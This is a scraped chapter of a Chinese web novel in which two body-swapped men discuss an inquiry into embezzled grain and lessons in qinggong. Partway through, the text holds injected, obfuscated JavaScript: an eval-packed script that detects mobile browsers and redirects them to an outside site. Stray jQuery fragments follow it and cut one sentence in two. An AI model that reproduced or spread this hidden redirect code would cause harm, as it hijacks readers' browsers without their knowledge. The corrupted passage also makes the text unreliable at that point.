默认冷灰
24号文字
方正启体

10. 夜下交谈

作者:乞猫本书字数:K更新时间:
    “刘令史,你自己说,还需几日分类核校完?”


    李岁聿眉目肃然,语气中隐有严厉,瞥过冷汗直冒的刘令史。


    后者怵了怵,结结巴巴地说道:“约莫三日……四日?”


    厅内一时间鸦雀无声,众人敛声屏气,观察着“林御史”的神色。


    “这样吧,阿宗,拿稿纸来。”李岁聿斜着眼看了阿宗一眼,后者颔首,转身快步去取稿纸。


    阿宗暗自纳闷,这个李岁聿究竟要干什么?


    稿纸平铺在每个人的案桌上,李岁聿让他们回到办公席位,目光敏锐地掠过全场,确认众人安坐在案前。


    温茶已凉,李岁聿重新端起茶盏,润了润喉,厉声道:“你们自行拟定办结期限。在这张纸上,我要看到写明事由、责任人、期限、预期结果。不得有半句含糊臆度之语,务必字字详实。”


    众官脸上尽显愕然,迟疑不决,忍不住交头接耳,窃窃私语。


    “听清楚了吗?”李岁聿出声打断他们的交谈,接着补充,“我会叫人将你们写好的稿纸装订成册,期限一到,没完成的人……”


    主簿缩了缩脖子,试探地问道:“没完成会如何?”


    李岁聿眼神如针,刺向主簿,大有“没完成就宰了”的架势!


    “没完成的人,我会上报给崔相。”


    众官员:“!”


    这和把他们宰了有什么区别!


    如此一来,官员们不敢不做事,否则官帽不保。白纸黑字落笔为证,稿纸也要交给“林御史”过目,更不敢故意推脱。


    阿宗托腮思索,这招用得好。期限是那些官员自行承诺的,往后纵有百般借口,也无从辩驳。


    写好期限的纸稿收纳成一沓,放在专案案桌上。


    转眼间,白天黑夜轮换,烛火照亮案几,那沓纸稿被一双粗糙的手翻看。


    “你是说,今日李岁聿去给御史台那些家伙下马威了?”林让尘一张一张翻看纸稿内容,上面的期限、人名、事由条列得清清楚楚。


    “是的,郎君。”阿宗恭敬地回复,他回忆起什么,笑了笑,“那些官员脸比炭还黑!投壶也不玩了,双陆也收起来了,蟋蟀也不斗了……一个个老实本分地坐在案前办公。”


    “这倒不失为一个好法子。往日上头的人定好期限,他们在下面腹诽心谤、拖沓推诿,不是找借口身体抱恙,就是拿时令节假说事。”林让尘靠在椅背上,轻叹道,“现在期限是他们自己定的,也不好再找借口。不过,此法治标不治本。”


    官员们不愿办事,本质上还是俸禄不到位。有人从中贪墨,有人扣着俸禄迟迟不下发……天下财匮,百业萧条,底层官员拿不到钱,生计难以维持,又怎会真心奉公办事。


    欲整肃吏治,当先肃贪腐,追缴墨吏赃款,充盈国库。


    林让尘扶在额角的手指微抬,慢声道:“你找人盯着察院那些官员,仔细盯着他们的进度,看这法子的实效如何。”


    “奴明白。”


    阿宗退下。


    林让尘沉思良久,忽地伸伸懒腰,起身往偏院方向走去。


    ……


    偏院种着夜合花树,一踏进院便嗅到浓郁的花香。星辰下,雪色花簇点缀夜色,如满地碎月光。


    李岁聿并无闲着,他仍在挥刀练习,淬炼筋骨,增强体魄。


    林让尘在院门口止步,目光不自觉被吸引过去。李岁聿的刀光在夜幕中是一抹亮色,抬刀而起,仿佛有月华坠落在刀锋上。手腕轻旋,风被割裂,小股流风钻缝隙而过。


    快而不乱,疾而不躁。


    若绑有长穗,该多好看。


    可惜那把刀是杀人刀,不是观赏剑。


    看了有一会儿,林让尘断定,李岁聿的刀法绝对有人教过。


    观他持刀演武,招招式式法度森严,若非师承正统,断无这般系统章法。更难得的是,他的刀法并无刺客惯有的诡谲狠戾,反倒是一派光明磊落的正统武学路数。


    当真使林让尘好奇不已。


    突然,一道刀气袭来,林让尘赶紧回神,飞快躲开,他前方的杂草被清出一条干净的道路。


    “算有点长进。”李岁聿垂臂收势,寒刃归鞘。


    “你疯了?!”林让尘被那道刀气吓得不轻,气得拔高声量,“哦!我懂了!你是想把我给杀了,好名正言顺地霸占我的身体?”


    李岁聿:“……”


    “你想都不要想!”


    林让尘负着手,缓缓走到李岁聿身旁,想到什么,气突然消了。


    他扬起一个俏皮的笑,自恋道:“哎,我都明白,我年轻貌美,又身居要职,你嫉妒是很正常的。”


    李岁聿看着自己的脸做出那种“怪异”的表情,眼眸冷意加深几分。


    “哎,毕竟你岁数大了,又碌碌无为,还沦落到了替别人卖命的地步……”林让尘故作惋惜,转念一想,又探头问道,“我没说错吧?你岁数比我大。”


    李岁聿脸愈发阴沉,偏偏林让尘还伸手去摸“自己”的脸颊。


    一道刀光猛地亮起,林让尘立即后退几步,放下捏脸的手,辩解道:“好了好了,谁想摸你这张脸,比我净房里的麻纸还粗糙!”


    “有事说事,没事就滚!”李岁聿怒斥一声,提刀指着他。


    “有事有事。”林让尘敛起笑容,坐在石凳上,见李岁聿还怒不可遏地瞪着他,只好先说正事。


    “顽痹不能根治,依赖独活寄生汤,而这药汤内的药材贵重,寻常人家没钱买。这就是你去影阁的原因吧?”


    看李岁聿怔愣的反应,林让尘知道自己没猜错。


    “这样吧,你若帮我做件事,我供你半年的药材,一日结清,绝不拖欠,如何?”


    先前通过和贺阡的交锋,他知道了这个诱人的条件,便故意抢先一步,想截在贺阡之前雇下李岁聿。


    “什么事。”


    李岁聿没半分犹豫,语气干脆利落。


    “哎,李四,那个人对你就这么重要?”林让尘指尖漫不经心地摩挲着石桌桌面,脸上瞧不出半分波澜,心底却像被细针轻轻扎了下。顿了顿,他状似无意地抬眼,“不知那人是何方人士。莫非是你的娘子,还是别的什么人?”


    李岁聿冷漠回绝:“与你无关,你只需说事情。”


    试探不出什么,林让尘只好把心思放在正事上。


    “这些日子,我一直在想,那批贪墨的粮草,王泉贵是如何将其送出永安、变现牟利的?”


    闻言,李岁聿也沉下心来思索。


    “王泉贵一个仓督,手里没有调兵权,要把粮草送出永安城,必然要借贺阡的势力铺路,依我看,有两条路可行。”


    林让尘伸出两根手指,正言道:“一,伪装成赈灾粮,借道地方州郡。听闻贺阡有不少门生在各地做官,能行方便。二,混进军营商队,走私边境。不过近年胡人常来骚扰,西域做生意的商人太少了。”


    “最后,由地方粮行接盘。粮行以‘官粮平粜’的名义低价接盘这些粮草,再以市价卖给民间商户,账目上只记合法采购来的钱财。”


    “我更偏向第一点。”林让尘说得口干舌燥,又转身进房提着茶壶出来,喝口茶继续说,“你去调取永安粮仓近三年的出库记录和江南道漕运舱单、永安官办粮行的入库账给我,我要三方对比。”


    李岁聿点头,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538494|203894||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    答道:“明白了。”


    “记住,不要被贺阡发现,他今日在影阁上,可还想着要我的性命呢。”林让尘不忘叮嘱,他冷笑几声,眸中凝着阴郁,“我这人小肚鸡肠,最记仇了。贺阡以为自己证据销毁就能高枕无忧吗?有些痕迹,是抹不掉的。”


    看他叽里呱啦说了一堆,李岁聿以为没其他的事了,刚打算回屋,又被林让尘叫住。


    “还有,你教我轻功。”


    李岁聿沉默片刻,突然嗤笑一声。


    “路还没学会走,就想跑?”


    林让尘:“……”


    “我现在用着你的身体,基础在那,我觉得你指点我一二,我便能飞檐走壁,上天入地了。”林让尘说得不无道理,也许借着那具身子,真能轻松上墙。


    “轻功,讲究提气、借力、身法,缺一不可。”李岁聿耐心讲解,清亮的嗓音如泉水淙淙,“先说提气,轻功的根本是‘轻身’,用内力运转丹田,贯注于足底。而借力便是借万物之力,蹬墙、踏枝、掠水……”


    林让尘似乎悟出几分诀窍,讷讷念道:“天地与我并生,而万物与我为一。”


    “身法是建立在提气、借力之上的,讲究不同的步法,但是离不开‘快、灵、变’三字。”李岁聿言简意赅地把轻功要诀说完。


    林让尘愣住,诧异道:“就没了?”


    李岁聿点头,让开道路,指着院墙,扬扬下巴道:“试试。”


    林让尘只好鼓起信心,朝他点点头。


    他闭上眼睛,气沉丹田,脚一跨,起势。体内有气流涌动,林让尘提上一口气,仿佛感到身体变轻了。趁这时候,他立马睁开眼睛,往墙面冲去!


    脚尖一点到墙面,竟真有几分如履平地的错觉,还不等他换腿,只觉得浑身一重,整个人便直直地从半空栽了下去!


    “哎!”


    林让尘摔倒在地上,屁股疼得钻心,刚想起身揉一揉,又被李岁聿出声制止了。


    林让尘:“……”疼死我了!


    “气息不稳,心法运转也毫无章法,我明日再教你如何运转丹田吧。”李岁聿说完,转身又要走进屋。


    见状,林让尘连忙伸手拦住,蹙眉道:“你就一点也不好奇,我为何要学轻功吗?”


    李岁聿振振有词:“想入江湖的人多得很,我为何要问?”


    林让尘一口否决:“我不入江湖。”


    李岁聿被他烦得不行,只好依样学舌道:“哦,那你为何想学轻功?”


    “贺阡运粮定会设立临时囤积点,我打算派人找到那处粮仓。之后我要潜入漕运码头,粮草的接头人应当就在那儿,我要亲自去取证。我怕我走不出来,但若有轻功傍身,便多了几分胜算。”林让尘把计划全盘托出,而李岁聿只是淡淡应声,绕过阻挡的手臂,径直往台阶上走。


    “李四!你几个意思!你对自己的身体真的没半分眷念吗?”


    被忽视的感觉特别不爽,林让尘赶紧追上去。


    谁知李岁聿突然停下脚步,林让尘一着急,额头结结实实地撞到了他的后背。


    “啊……”


    李岁聿转过身来,居高一级阶梯,俯视着他,嗤笑道:“你不会让自己死的,你这人最会审时度势,从不吃亏。”


    话音落地,像一块冰棱狠狠砸在林让尘的心上。


    后者怔了怔神,呼吸微微一颤,目光像是被李岁聿的背影牵引着一般,直到屋门被关上,他才勾起一抹冷笑。


    李岁聿可真了解他。


    被这么一怼,他没有半分恼火,反而感到一阵痛快。


    那是被人看穿通透的痛快,意味着这世上,还有人能真正懂得自己。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)